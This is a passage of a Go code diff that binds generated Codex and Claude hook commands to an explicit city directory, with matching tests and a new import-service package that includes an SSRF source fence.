+	if args[2] != "--timeout" || args[3] != "15s" || args[4] != "--timeout-exit-code" || args[5] != "0" || args[6] != "--" {
+		return false
+	}
+	targetArgs := args[7:]
+	return len(targetArgs) == 2 && targetArgs[0] == "prime" && targetArgs[1] == "--hook" ||
+		(len(targetArgs) == 4 && targetArgs[0] == "prime" && targetArgs[1] == "--hook" && targetArgs[2] == "--hook-format" && targetArgs[3] == "codex")
+}
+
+func codexPreCompactArgsMatch(args []string) bool {
+	if len(args) < 2 || args[0] != "handoff" {
+		return false
+	}
+	switch {
+	case len(args) == 2 && args[1] == "context cycle":
+		return true
+	case len(args) == 3 && args[1] == "--auto" && args[2] == "context cycle":
+		return true
+	case len(args) == 5 && args[1] == "--auto" && args[2] == "--hook-format" && args[3] == "codex" && args[4] == "context cycle":
+		return true
+	default:
+		return false
+	}
+}
+
+func codexManagedPromptArgsMatch(args []string, hookFormat string) bool {
+	_, ok := codexManagedPromptTargetArgs(args, hookFormat)
+	if ok {
+		return true
+	}
+	if hookFormat != "" {
+		_, ok = codexManagedPromptTargetArgs(args, "")
+	}
+	return ok
+}
+
+func codexManagedPromptTargetArgs(args []string, hookFormat string) (string, bool) {
+	if len(args) >= 3 && args[0] == "nudge" && args[1] == "drain" && args[2] == "--inject" {
+		return managedPromptTarget("nudge drain --inject", args[3:], hookFormat)
+	}
+	if len(args) >= 3 && args[0] == "mail" && args[1] == "check" && args[2] == "--inject" {
+		return managedPromptTarget("mail check --inject", args[3:], hookFormat)
+	}
+	if len(args) < 8 || args[0] != "hook" || args[1] != "run" {
+		return "", false
+	}
+	if args[2] != "--timeout" || args[3] != "15s" || args[4] != "--timeout-exit-code" || args[5] != "0" || args[6] != "--" {
+		return "", false
+	}
+	targetArgs := args[7:]
+	switch {
+	case len(targetArgs) >= 3 && targetArgs[0] == "nudge" && targetArgs[1] == "drain" && targetArgs[2] == "--inject":
+		return managedPromptTarget("nudge drain --inject", targetArgs[3:], hookFormat)
+	case len(targetArgs) >= 3 && targetArgs[0] == "mail" && targetArgs[1] == "check" && targetArgs[2] == "--inject":
+		return managedPromptTarget("mail check --inject", targetArgs[3:], hookFormat)
+	default:
+		return "", false
 	}
-	return "", false
 }
 
 func addCodexPreCompactHook(root any, desired []byte) bool {
@@ -930,9 +1222,13 @@ func codexHookDocLooksManaged(doc map[string]any) bool {
 		}
 		switch node := v.(type) {
 		case map[string]any:
-			if command, ok := node["command"].(string); ok && isCodexManagedHookCommand(command) {
-				found = true
-				return
+			if hooksMap, ok := node["hooks"].(map[string]any); ok {
+				for eventName, val := range hooksMap {
+					if codexHookValueHasManagedCommand(val, eventName) {
+						found = true
+						return
+					}
+				}
 			}
 			for _, val := range node {
 				walk(val)
@@ -1152,16 +1448,17 @@ func isLegacyGCManagedCommand(event, command string) bool {
 	case "PreCompact":
 		return equalsLegacyCommandBody(body, "gc prime --hook") ||
 			equalsLegacyCommandBody(body, `gc handoff "context cycle"`) ||
-			equalsLegacyCommandBody(body, `gc handoff --auto "context cycle"`)
+			equalsLegacyCommandBody(body, `gc handoff --auto "context cycle"`) ||
+			isCodexPreCompactCommandBody(body)
 	case "SessionStart":
 		return equalsLegacyCommandBody(body, "gc prime --hook") ||
 			equalsLegacyCommandBody(body, "gc prime --hook --hook-format codex") ||
 			equalsLegacyCommandBody(body, sessionStartPreviousManagedFormBody) ||
-			equalsLegacyCommandBody(body, sessionStartCurrentFormBody)
+			isCodexSessionStartCommandBody(body)
 	case "UserPromptSubmit":
 		return equalsLegacyCommandBody(body, `gc nudge drain --inject`) ||
 			equalsLegacyCommandBody(body, `gc mail check --inject`) ||
-			strings.HasPrefix(body, managedPromptHookRunPrefix)
+			codexManagedPromptTarget(body, "")
 	}
 	return false
 }
@@ -1174,10 +1471,19 @@ func isLegacyGCManagedCommand(event, command string) bool {
 // full env-var preamble. If gc ever extends the current-form command
 // with additional arguments, update this constant alongside the
 // emission site so legacy detection remains tight.
-const sessionStartCurrentFormBody = `GC_MANAGED_SESSION_HOOK=1 GC_HOOK_EVENT_NAME=SessionStart gc prime --hook --hook-format codex`
+func sessionStartCurrentFormBody(cityDir string) string {
+	return `GC_MANAGED_SESSION_HOOK=1 GC_HOOK_EVENT_NAME=SessionStart gc ` + codexCityFlag(cityDir) + `prime --hook --hook-format codex`
+}
 
 const sessionStartPreviousManagedFormBody = `GC_MANAGED_SESSION_HOOK=1 GC_HOOK_EVENT_NAME=SessionStart gc prime --hook`
 
+// preCompactCurrentFormBody is the canonical current-form managed PreCompact
+// command body (post-canonical-PATH-prefix). If gc ever extends this command
+// with additional arguments, update this constant alongside the emission site.
+func preCompactCurrentFormBody(cityDir string) string {
+	return `gc ` + codexCityFlag(cityDir) + `handoff --auto --hook-format codex "context cycle"`
+}
+
 // equalsLegacyCommandBody reports whether the command body is exactly the
 // legacy token. gc historically emitted these tokens as the complete
 // command body (possibly with the canonical PATH-export prefix), never
@@ -1230,10 +1536,10 @@ func upgradeClaudeHookCommand(event, command string) (string, bool) {
 			equalsLegacyCommandBody(body, `gc prime --hook --hook-format codex`) ||
 			equalsLegacyCommandBody(body, sessionStartPreviousManagedFormBody) {
 			prefix := strings.TrimSuffix(command, body)
-			return prefix + sessionStartCurrentFormBody, true
+			return prefix + sessionStartCurrentFormBody(""), true
 		}
 	case "UserPromptSubmit":
-		return upgradeManagedPromptHookCommand(command, "")
+		return upgradeManagedPromptHookCommand(command, "", "")
 	}
 	return "", false
 }
diff --git a/internal/hooks/hooks_test.go b/internal/hooks/hooks_test.go
index b465556df6..17c9ee218d 100644
--- a/internal/hooks/hooks_test.go
+++ b/internal/hooks/hooks_test.go
@@ -11,6 +11,7 @@ import (
 
 	"github.com/gastownhall/gascity/internal/config"
 	"github.com/gastownhall/gascity/internal/fsys"
+	"github.com/gastownhall/gascity/internal/shellquote"
 )
 
 func claudeHookCommand(t *testing.T, data []byte, event string) string {
@@ -259,7 +260,7 @@ func TestInstallClaudeUpgradesPreviousCanonicalSessionStart(t *testing.T) {
 	if err != nil {
 		t.Fatalf("readEmbedded: %v", err)
 	}
-	stale := strings.Replace(string(current), sessionStartCurrentFormBody, sessionStartPreviousManagedFormBody, 1)
+	stale := strings.Replace(string(current), sessionStartCurrentFormBody(""), sessionStartPreviousManagedFormBody, 1)
 	if stale == string(current) {
 		t.Fatal("stale fixture did not diverge from current embedded config — check previous SessionStart pattern")
 	}
@@ -273,8 +274,8 @@ func TestInstallClaudeUpgradesPreviousCanonicalSessionStart(t *testing.T) {
 	hookData := fs.Files["/city/hooks/claude.json"]
 	runtimeData := fs.Files["/city/.gc/settings.json"]
 	sessionStartCommand := claudeHookCommand(t, hookData, "SessionStart")
-	if got := commandBodyAfterCanonicalPrefix(sessionStartCommand); got != sessionStartCurrentFormBody {
-		t.Fatalf("upgraded SessionStart body = %q, want %q", got, sessionStartCurrentFormBody)
+	if got := commandBodyAfterCanonicalPrefix(sessionStartCommand); got != sessionStartCurrentFormBody("") {
+		t.Fatalf("upgraded SessionStart body = %q, want %q", got, sessionStartCurrentFormBody(""))
 	}
 	if string(runtimeData) != string(hookData) {
 		t.Fatalf("runtime Claude settings should mirror upgraded hook settings:\n%s", string(runtimeData))
@@ -343,7 +344,7 @@ func TestInstallCodexUpgradesGeneratedFileMissingHookFormat(t *testing.T) {
 	if !strings.Contains(got, `"PreCompact"`) {
 		t.Errorf("upgraded codex hooks missing PreCompact:\n%s", got)
 	}
-	if !strings.Contains(got, `gc handoff --auto --hook-format codex \"context cycle\"`) {
+	if !strings.Contains(got, `gc --city '/city' handoff --auto --hook-format codex \"context cycle\"`) {
 		t.Errorf("upgraded codex PreCompact missing auto handoff command:\n%s", got)
 	}
 }
@@ -372,7 +373,7 @@ func TestInstallCodexUpgradesSessionStartMissingManagedMarker(t *testing.T) {
 	if !strings.Contains(sessionStartCommand, "GC_HOOK_EVENT_NAME=SessionStart") {
 		t.Fatalf("upgraded codex SessionStart missing event marker: %s", sessionStartCommand)
 	}
-	if !strings.Contains(sessionStartCommand, "gc prime --hook --hook-format codex") {
+	if !strings.Contains(sessionStartCommand, "gc --city '/city' prime --hook --hook-format codex") {
 		t.Fatalf("upgraded codex SessionStart missing hook format: %s", sessionStartCommand)
 	}
 }
@@ -460,10 +461,10 @@ func TestInstallCodexUpgradesManagedFileMissingPreCompact(t *testing.T) {
 	if !strings.Contains(got, `"PreCompact"`) {
 		t.Errorf("upgraded codex hooks missing PreCompact:\n%s", got)
 	}
-	if !strings.Contains(got, `gc handoff --auto --hook-format codex \"context cycle\"`) {
+	if !strings.Contains(got, `gc --city '/city' handoff --auto --hook-format codex \"context cycle\"`) {
 		t.Errorf("upgraded codex PreCompact missing auto handoff command:\n%s", got)
 	}
-	if !strings.Contains(got, `gc hook run --timeout 15s --timeout-exit-code 0 -- mail check --inject --hook-format codex`) {
+	if !strings.Contains(got, `gc --city '/city' hook run --timeout 15s --timeout-exit-code 0 -- mail check --inject --hook-format codex`) {
 		t.Errorf("upgraded codex UserPromptSubmit missing bounded mail check command:\n%s", got)
 	}
 }
@@ -475,7 +476,7 @@ func TestInstallCodexWritesCanonicalHookBytes(t *testing.T) {
 	}
 
 	got := fs.Files["/work/.codex/hooks.json"]
-	normalized, changed, err := normalizeCodexHookCommands(got)
+	normalized, changed, err := normalizeCodexHookCommands(got, "/city")
 	if err != nil {
 		t.Fatalf("normalizeCodexHookCommands: %v", err)
 	}
@@ -484,6 +485,20 @@ func TestInstallCodexWritesCanonicalHookBytes(t *testing.T) {
 	}
 }
 
+func TestInstallCodexBindsExplicitCity(t *testing.T) {
+	fs := fsys.NewFake()
+	cityDir := "/city with spaces"
+	if err := Install(fs, cityDir, "/work", []string{"codex"}); err != nil {
+		t.Fatalf("Install: %v", err)
+	}
+
+	got := string(fs.Files["/work/.codex/hooks.json"])
+	wantCity := `--city ` + shellquote.Quote(cityDir)
+	if !strings.Contains(got, wantCity) {
+		t.Fatalf("codex hooks missing explicit city binding %q:\n%s", wantCity, got)
+	}
+}
+
 func TestInstallCodexIsByteStableAcrossRepeatedInstalls(t *testing.T) {
 	fs := fsys.NewFake()
 	if err := Install(fs, "/city", "/work", []string{"codex"}); err != nil {
@@ -521,6 +536,23 @@ func TestCodexHooksMissingManagedPreCompact(t *testing.T) {
 	}
 }
 
+func TestCodexHooksNeedManagedUpgrade(t *testing.T) {
+	wrongCity := []byte(`{"hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"export PATH=\"$HOME/go/bin:$HOME/.local/bin:$PATH\" && GC_MANAGED_SESSION_HOOK=1 GC_HOOK_EVENT_NAME=SessionStart gc --city /old/city prime --hook --hook-format codex"}]}],"PreCompact":[{"hooks":[{"type":"command","command":"export PATH=\"$HOME/go/bin:$HOME/.local/bin:$PATH\" && gc --city /old/city handoff --auto --hook-format codex \"context cycle\""}]}]}}`)
+	if !CodexHooksNeedManagedUpgrade(wrongCity, "/new city") {
+		t.Fatal("managed Codex hooks with stale city binding were not reported stale")
+	}
+
+	currentCity := []byte(`{"hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"export PATH=\"$HOME/go/bin:$HOME/.local/bin:$PATH\" && GC_MANAGED_SESSION_HOOK=1 GC_HOOK_EVENT_NAME=SessionStart gc --city '/old/city' prime --hook --hook-format codex"}]}],"PreCompact":[{"hooks":[{"type":"command","command":"export PATH=\"$HOME/go/bin:$HOME/.local/bin:$PATH\" && gc --city '/old/city' handoff --auto --hook-format codex \"context cycle\""}]}]}}`)
+	if CodexHooksNeedManagedUpgrade(currentCity, "/old/city") {
+		t.Fatal("managed Codex hooks already bound to requested city were reported stale")
+	}
+
+	custom := []byte(`{"hooks":{"UserPromptSubmit":[{"hooks":[{"type":"command","command":"FOO=1 gc mail check --inject --hook-format codex"}]}]}}`)
+	if CodexHooksNeedManagedUpgrade(custom, "/city") {
+		t.Fatal("env-prefixed custom Codex hooks were reported stale")
+	}
+}
+
 func TestInstallCodexPreservesCustomOnlyHooksByteForByte(t *testing.T) {
 	fs := fsys.NewFake()
 	custom := []byte(`{"hooks":{"UserPromptSubmit":[{"hooks":[{"command":"printf custom-codex-hook","type":"command"}]}]}}`)
@@ -562,6 +594,9 @@ func TestInstallCodexUpgradePreservesCustomHooks(t *testing.T) {
 	if !strings.Contains(got, "--hook-format codex") {
 		t.Errorf("upgraded codex hooks missing Codex hook output format:\n%s", got)
 	}
+	if !strings.Contains(got, `gc --city '/city' prime --hook --hook-format codex`) {
+		t.Errorf("upgraded codex hooks missing explicit city binding:\n%s", got)
+	}
 	if !strings.Contains(got, "printf custom-codex-hook") {
 		t.Errorf("custom codex hook was not preserved:\n%s", got)
 	}
@@ -570,6 +605,73 @@ func TestInstallCodexUpgradePreservesCustomHooks(t *testing.T) {
 	}
 }
 
+func TestInstallCodexRebindsManagedHooksAndAddsPreCompact(t *testing.T) {
+	fs := fsys.NewFake()
+	fs.Files["/work/.codex/hooks.json"] = []byte(`{
+  "hooks": {
+    "SessionStart": [{
+      "hooks": [{
+        "type": "command",
+        "command": "export PATH=\"$HOME/go/bin:$HOME/.local/bin:$PATH\" && GC_MANAGED_SESSION_HOOK=1 GC_HOOK_EVENT_NAME=SessionStart gc --city /old/city prime --hook --hook-format codex"
+      }]
+    }]
+  }
+}`)
+
+	if err := Install(fs, "/new city", "/work", []string{"codex"}); err != nil {
+		t.Fatalf("Install: %v", err)
+	}
+
+	got := string(fs.Files["/work/.codex/hooks.json"])
+	if !strings.Contains(got, `gc --city '/new city' prime --hook --hook-format codex`) {
+		t.Fatalf("SessionStart not rebound to current city:\n%s", got)
+	}
+	if !strings.Contains(got, `"PreCompact"`) {
+		t.Fatalf("managed codex upgrade missing PreCompact:\n%s", got)
+	}
+	if !strings.Contains(got, `gc --city '/new city' handoff --auto --hook-format codex \"context cycle\"`) {
+		t.Fatalf("PreCompact not added for current city:\n%s", got)
+	}
+	if strings.Contains(got, "/old/city") {
+		t.Fatalf("stale city binding survived:\n%s", got)
+	}
+}
+
+func TestInstallCodexRebindsManagedHooksToCurrentCity(t *testing.T) {
+	fs := fsys.NewFake()
+	fs.Files["/work/.codex/hooks.json"] = []byte(`{
+  "hooks": {
+    "SessionStart": [{
+      "hooks": [{
+        "type": "command",
+        "command": "export PATH=\"$HOME/go/bin:$HOME/.local/bin:$PATH\" && GC_MANAGED_SESSION_HOOK=1 GC_HOOK_EVENT_NAME=SessionStart gc --city /old/city prime --hook --hook-format codex"
+      }]
+    }],
+    "PreCompact": [{
+      "hooks": [{
+        "type": "command",
+        "command": "export PATH=\"$HOME/go/bin:$HOME/.local/bin:$PATH\" && gc --city /old/city handoff --auto --hook-format codex \"context cycle\""
+      }]
+    }]
+  }
+}`)
+
+	if err := Install(fs, "/new city", "/work", []string{"codex"}); err != nil {
+		t.Fatalf("Install: %v", err)
+	}
+
+	got := string(fs.Files["/work/.codex/hooks.json"])
+	if !strings.Contains(got, `gc --city '/new city' prime --hook --hook-format codex`) {
+		t.Fatalf("SessionStart not rebound to current city:\n%s", got)
+	}
+	if !strings.Contains(got, `gc --city '/new city' handoff --auto --hook-format codex \"context cycle\"`) {
+		t.Fatalf("PreCompact not rebound to current city:\n%s", got)
+	}
+	if strings.Contains(got, "/old/city") {
+		t.Fatalf("stale city binding survived:\n%s", got)
+	}
+}
+
 func TestInstallCodexPreservesFullyCustomHooks(t *testing.T) {
 	fs := fsys.NewFake()
 	custom := []byte(`{
@@ -593,6 +695,55 @@ func TestInstallCodexPreservesFullyCustomHooks(t *testing.T) {
 	}
 }
 
+func TestInstallCodexPreservesEnvPrefixedManagedLookingCustomHooks(t *testing.T) {
+	fs := fsys.NewFake()
+	custom := []byte(`{
+  "hooks": {
+    "UserPromptSubmit": [{
+      "hooks": [{
+        "type": "command",
+        "command": "FOO=1 gc mail check --inject --hook-format codex"
+      }]
+    }]
+  }
+}`)
+	fs.Files["/work/.codex/hooks.json"] = custom
+
+	if err := Install(fs, "/city", "/work", []string{"codex"}); err != nil {
+		t.Fatalf("Install: %v", err)
+	}
+
+	if got := string(fs.Files["/work/.codex/hooks.json"]); got != string(custom) {
+		t.Fatalf("env-prefixed custom codex hooks were rewritten:\n%s", got)
+	}
+}
+
+func TestInstallCodexPreservesExtraEnvOnManagedHooks(t *testing.T) {
+	fs := fsys.NewFake()
+	fs.Files["/work/.codex/hooks.json"] = []byte(`{
+  "hooks": {
+    "SessionStart": [{
+      "hooks": [{
+        "type": "command",
+        "command": "export PATH=\"$HOME/go/bin:$HOME/.local/bin:$PATH\" && FOO=1 GC_MANAGED_SESSION_HOOK=1 GC_HOOK_EVENT_NAME=SessionStart gc prime --hook --hook-format codex"
+      }]
+    }]
+  }
+}`)
+
+	if err := Install(fs, "/city", "/work", []string{"codex"}); err != nil {
+		t.Fatalf("Install: %v", err)
+	}
+
+	got := string(fs.Files["/work/.codex/hooks.json"])
+	if !strings.Contains(got, `FOO=1 GC_MANAGED_SESSION_HOOK=1 GC_HOOK_EVENT_NAME=SessionStart gc --city '/city' prime --hook --hook-format codex`) {
+		t.Fatalf("managed codex hook lost extra env prefix:\n%s", got)
+	}
+	if !strings.Contains(got, `"PreCompact"`) {
+		t.Fatalf("managed codex hook with extra env missing PreCompact:\n%s", got)
+	}
+}
+
 func TestUpgradeCodexHooksSkipsWhenDesiredPreCompactUnavailable(t *testing.T) {
 	existing := []byte(`{
   "hooks": {
@@ -609,7 +760,7 @@ func TestUpgradeCodexHooksSkipsWhenDesiredPreCompactUnavailable(t *testing.T) {
 		"missing":   []byte(`{"hooks":{}}`),
 	} {
 		t.Run(name, func(t *testing.T) {
-			if _, changed, err := upgradeCodexHooks(existing, desired); err != nil || changed {
+			if _, changed, err := upgradeCodexHooks(existing, desired, ""); err != nil || changed {
 				t.Fatalf("changed = %v, err = %v, want unchanged without error", changed, err)
 			}
 		})
@@ -1528,8 +1679,8 @@ func TestInstallOverlayManagedProviders(t *testing.T) {
 	codexHooks := fs.Files["/work/.codex/hooks.json"]
 	codexHooksText := string(codexHooks)
 	sessionStartCommand := codexHookCommand(t, codexHooks, "SessionStart")
-	if !strings.Contains(sessionStartCommand, "gc prime --hook --hook-format codex") {
-		t.Fatalf("codex SessionStart hook command = %q, want gc prime --hook --hook-format codex", sessionStartCommand)
+	if !strings.Contains(sessionStartCommand, `gc --city '/city' prime --hook --hook-format codex`) {
+		t.Fatalf("codex SessionStart hook command = %q, want city-bound gc prime --hook --hook-format codex", sessionStartCommand)
 	}
 	if !strings.Contains(sessionStartCommand, "GC_HOOK_EVENT_NAME=SessionStart") {
 		t.Fatalf("codex SessionStart hook command = %q, want GC_HOOK_EVENT_NAME=SessionStart", sessionStartCommand)
@@ -1540,12 +1691,12 @@ func TestInstallOverlayManagedProviders(t *testing.T) {
 	if !strings.Contains(codexHooksText, `"PreCompact"`) {
 		t.Error("codex hooks should include PreCompact")
 	}
-	if !strings.Contains(codexHooksText, `gc handoff --auto --hook-format codex \"context cycle\"`) {
+	if !strings.Contains(codexHooksText, `gc --city '/city' handoff --auto --hook-format codex \"context cycle\"`) {
 		t.Error("codex PreCompact should use auto handoff with Codex hook output format")
 	}
 	for _, want := range []string{
-		`gc hook run --timeout 15s --timeout-exit-code 0 -- nudge drain --inject --hook-format codex`,
-		`gc hook run --timeout 15s --timeout-exit-code 0 -- mail check --inject --hook-format codex`,
+		`gc --city '/city' hook run --timeout 15s --timeout-exit-code 0 -- nudge drain --inject --hook-format codex`,
+		`gc --city '/city' hook run --timeout 15s --timeout-exit-code 0 -- mail check --inject --hook-format codex`,
 	} {
 		if !strings.Contains(codexHooksText, want) {
 			t.Errorf("codex prompt hooks missing bounded command %q:\n%s", want, codexHooksText)
@@ -2227,7 +2378,7 @@ func TestInstallCodexWritesCanonicalJSON(t *testing.T) {
 	if bytes.Contains(data, []byte(`\u0026`)) {
 		t.Fatalf("codex hook escaped command operator:\n%s", data)
 	}
-	if !bytes.Contains(data, []byte(` && GC_MANAGED_SESSION_HOOK=1 GC_HOOK_EVENT_NAME=SessionStart gc prime`)) {
+	if !bytes.Contains(data, []byte(` && GC_MANAGED_SESSION_HOOK=1 GC_HOOK_EVENT_NAME=SessionStart gc --city '/city' prime`)) {
 		t.Fatalf("codex hook missing literal command operator:\n%s", data)
 	}
 	if !bytes.HasSuffix(data, []byte("\n")) {
diff --git a/internal/importsvc/importsvc.go b/internal/importsvc/importsvc.go
new file mode 100644
index 0000000000..3fa967eb11
--- /dev/null
+++ b/internal/importsvc/importsvc.go
@@ -0,0 +1,505 @@
+package importsvc
+
+import (
+	"errors"
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/fsys"
+	"github.com/gastownhall/gascity/internal/packman"
+)
+
+// Typed errors let callers map a failure to a transport-appropriate status
+// (HTTP code or CLI exit) without string matching. Each wraps the underlying
+// cause via %w so errors.Is and the detail message both survive.
+var (
+	// ErrInvalidSource means the source argument could not be normalized into a
+	// durable import source (bad path, missing pack.toml, embedded git ref, or
+	// a version flag on a non-git source). HTTP: 400.
+	ErrInvalidSource = errors.New("invalid import source")
+	// ErrNameDerive means no binding name was given and none could be derived
+	// from the source. Distinct from ErrInvalidSource so the CLI can reproduce
+	// its historical bare "use --name" message. HTTP: 400.
+	ErrNameDerive = errors.New("could not derive import name; use --name")
+	// ErrReservedPrefix means the requested binding name uses the reserved
+	// "default-rig:" prefix. Distinct from ErrInvalidSource for the same
+	// CLI-message-parity reason. HTTP: 400.
+	ErrReservedPrefix = errors.New("import name uses reserved prefix")
+	// ErrImportExists means the resolved binding name is already imported in the
+	// target scope (or is owned by a city.toml [imports] override). HTTP: 409.
+	ErrImportExists = errors.New("import already exists")
+	// ErrVersionResolveFailed means version/HEAD resolution for a git-backed
+	// source failed. HTTP: 502 (upstream git probe) or 400 depending on caller.
+	ErrVersionResolveFailed = errors.New("import version resolution failed")
+	// ErrInstallFailed means the lock sync or lockfile write failed. HTTP: 500.
+	ErrInstallFailed = errors.New("import install failed")
+	// ErrNotFound means RemoveImport was asked to remove a binding that is not
+	// present in any scope. HTTP: 404.
+	ErrNotFound = errors.New("import not found")
+	// ErrScopeLoad means the import scope could not be loaded (missing/invalid
+	// city.toml for a rig-scoped edit, unreadable pack.toml, etc.). HTTP: 400.
+	ErrScopeLoad = errors.New("import scope load failed")
+)
+
+// AddResult reports what AddImport durably wrote so callers can echo the final
+// binding without re-reading the manifest.
+type AddResult struct {
+	// Name is the local binding name written as the [imports.<Name>] key.
+	Name string
+	// Source is the canonical, durable source string written to the manifest
+	// (remote URL as given, or a file:// promotion of a local git worktree).
+	Source string
+	// Version is the version constraint written to the manifest: a semver
+	// constraint, a "sha:<commit>" pin, or "" for plain path imports.
+	Version string
+	// GitBacked reports whether the resolved source is a git source (and thus
+	// has a lock entry); false for plain local path imports.
+	GitBacked bool
+}
+
+// RemoveResult reports the binding RemoveImport deleted.
+type RemoveResult struct {
+	// Name is the binding name that was removed.
+	Name string
+}
+
+// Deps lets a caller inject the network/git-touching seams (the same vars the
+// CLI stubs in its command tests) and the target rig scope. The zero value uses
+// the package defaults, which call packman directly; this is what the HTTP
+// handler wants. Any nil function field falls back to the package default.
+type Deps struct {
+	// Rig selects a rig scope for the edit. Empty means the root pack.toml
+	// [imports] table.
+	Rig string
+
+	// SourcePolicy fences every remote import source before it is probed or
+	// fetched — the caller-supplied source and every transitive import packman
+	// resolves during lock sync. The HTTP handler injects its SSRF fence here so
+	// an accepted public pack cannot pull an internal, file, or link-local nested
+	// import past the API. Leave nil (the trusted CLI/local path) to allow every
+	// source.
+	SourcePolicy func(source string) error
+
+	// SyncLock, WriteLockfile, ResolveVersion, DefaultConstraint, and
+	// ResolveHeadCommit mirror the packman seams. Leave nil to use the package
+	// defaults.
+	SyncLock          func(cityRoot string, imports map[string]config.Import, mode packman.InstallMode) (*packman.Lockfile, error)
+	WriteLockfile     func(fs fsys.FS, cityRoot string, lock *packman.Lockfile) error
+	ResolveVersion    func(cityRoot, source, constraint string) (packman.ResolvedVersion, error)
+	DefaultConstraint func(version string) (string, error)
+	ResolveHeadCommit func(cityRoot, source string) (string, error)
+}
+
+func (d Deps) syncLock() func(string, map[string]config.Import, packman.InstallMode) (*packman.Lockfile, error) {
+	if d.SyncLock != nil {
+		return d.SyncLock
+	}
+	if d.SourcePolicy == nil {
+		return syncLock
+	}
+	// Route the default sync through the policy-aware packman entry point so the
+	// fence reaches transitive imports discovered inside lock resolution, which
+	// the caller can't see to pre-check.
+	return func(cityRoot string, imports map[string]config.Import, mode packman.InstallMode) (*packman.Lockfile, error) {
+		return packman.SyncLockWithPolicy(cityRoot, imports, mode, d.SourcePolicy)
+	}
+}
+
+func (d Deps) writeLockfile() func(fsys.FS, string, *packman.Lockfile) error {
+	if d.WriteLockfile != nil {
+		return d.WriteLockfile
+	}
+	return writeLockfile
+}
+
+func (d Deps) resolveVersion() func(string, string, string) (packman.ResolvedVersion, error) {
+	if d.ResolveVersion != nil {
+		return d.ResolveVersion
+	}
+	return resolveVersion
+}
+
+func (d Deps) defaultConstraint() func(string) (string, error) {
+	if d.DefaultConstraint != nil {
+		return d.DefaultConstraint
+	}
+	return defaultConstraint
+}
+
+func (d Deps) resolveHeadCommit() func(string, string) (string, error) {
+	if d.ResolveHeadCommit != nil {
+		return d.ResolveHeadCommit
+	}
+	return resolveHeadCommit
+}
+
+func (d Deps) defaultImportVersionForSource(cityRoot, source string) (string, error) {
+	resolved, err := d.resolveVersion()(cityRoot, source, "")
+	if err == nil {
+		return d.defaultConstraint()(resolved.Version)
+	}
+	if !errors.Is(err, packman.ErrNoSemverTags) {
+		return "", err
+	}
+	commit, err := d.resolveHeadCommit()(cityRoot, source)
+	if err != nil {
+		return "", err
+	}
+	return "sha:" + commit, nil
+}
+
+// fenceSource applies the injected untrusted-source policy to source. It is the
+// service-boundary SSRF fence: the HTTP handler injects its host/file policy so
+// AddImportWith never drives a git probe at an internal target, even for a
+// caller that skips the handler's own pre-check. A nil policy allows everything.
+func (d Deps) fenceSource(source string) error {
+	if d.SourcePolicy == nil {
+		return nil
+	}
+	return d.SourcePolicy(source)
+}
+
+// resolveImportVersion validates and resolves the version constraint for an add.
+// Git-backed sources reject a ref embedded in the URL and, when no constraint is
+// given, default to the resolved semver/HEAD; non-git path sources reject a
+// constraint outright. The returned error already carries the transport-mapped
+// sentinel (ErrInvalidSource or ErrVersionResolveFailed).
+func (d Deps) resolveImportVersion(cityRoot, source, versionConstraint string, gitBacked bool) (string, error) {
+	if !gitBacked {
+		if versionConstraint != "" {
+			return "", fmt.Errorf("%w: --version is only valid for git-backed imports", ErrInvalidSource)
+		}
+		return "", nil
+	}
+	if hasRepositoryRefInSource(source) {
+		return "", fmt.Errorf("%w: embed refs in --version, not in the source URL", ErrInvalidSource)
+	}
+	if versionConstraint != "" {
+		return versionConstraint, nil
+	}
+	version, err := d.defaultImportVersionForSource(cityRoot, source)
+	if err != nil {
+		return "", fmt.Errorf("%w: %w", ErrVersionResolveFailed, err)
+	}
+	return version, nil
+}
+
+// AddImport resolves source once and writes it as a durable [imports.<name>]
+// entry plus a matching packs.lock entry for git-backed sources. It performs
+// the git fetch (version/HEAD resolution and lock sync) synchronously: callers
+// that need SSRF fencing must validate source before calling. The single
+// remote git-fetch line lives in defaultHeadCommit (source.go); lock-time
+// fetches happen inside packman.SyncLock.
+func AddImport(fs fsys.FS, cityPath, source, nameOverride, versionConstraint string) (*AddResult, error) {
+	return AddImportWith(fs, cityPath, source, nameOverride, versionConstraint, Deps{})
+}
+
+// AddImportWith is AddImport with injectable seams and rig scope.
+func AddImportWith(fs fsys.FS, cityPath, source, nameOverride, versionConstraint string, deps Deps) (*AddResult, error) {
+	scope, err := loadImportScope(fs, cityPath, deps.Rig)
+	if err != nil {
+		return nil, fmt.Errorf("%w: %w", ErrScopeLoad, err)
+	}
+
+	source, gitBacked, err := normalizeImportAddSource(fs, cityPath, source)
+	if err != nil {
+		return nil, fmt.Errorf("%w: %w", ErrInvalidSource, err)
+	}
+
+	// Fence the resolved source before the HEAD probe below shells `git
+	// ls-remote`. The HTTP handler pre-checks the caller-supplied source too, but
+	// applying the policy here keeps AddImportWith self-fencing so no future
+	// caller can drive the direct git probe at an internal target.
+	if err := deps.fenceSource(source); err != nil {
+		return nil, err
+	}
+
+	name := nameOverride
+	if name == "" {
+		name = deriveImportName(source)
+	}
+	if name == "" {
+		return nil, ErrNameDerive
+	}
+	if strings.HasPrefix(name, "default-rig:") {
+		return nil, fmt.Errorf("import name %q uses reserved prefix \"default-rig:\": %w", name, ErrReservedPrefix)
+	}
+	if _, exists := scope.imports[name]; exists {
+		return nil, fmt.Errorf("%w: import %q already exists", ErrImportExists, name)
+	}
+	if scope.isRootPackScope() {
+		cityOwned, err := cityRootImportExists(fs, cityPath, name)
+		if err != nil {
+			return nil, fmt.Errorf("%w: %w", ErrScopeLoad, err)
+		}
+		if cityOwned {
+			return nil, fmt.Errorf("%w: import %q is defined by city.toml [imports], which overrides pack.toml; edit city.toml instead", ErrImportExists, name)
+		}
+	}
+
+	version, err := deps.resolveImportVersion(cityPath, source, versionConstraint, gitBacked)
+	if err != nil {
+		return nil, err
+	}
+
+	scope.imports[name] = config.Import{
+		Source:  source,
+		Version: version,
+	}
+	allImports, err := CollectAllImports(fs, cityPath)
+	if err != nil {
+		return nil, fmt.Errorf("%w: %w", ErrInstallFailed, err)
+	}
+	allImports[scope.syntheticKey(name)] = scope.imports[name]
+	lock, err := deps.syncLock()(cityPath, allImports, packman.InstallResolveIfNeeded)
+	if err != nil {
+		return nil, fmt.Errorf("%w: %w", ErrInstallFailed, err)
+	}
+	if err := scope.save(); err != nil {
+		return nil, fmt.Errorf("%w: %w", ErrInstallFailed, err)
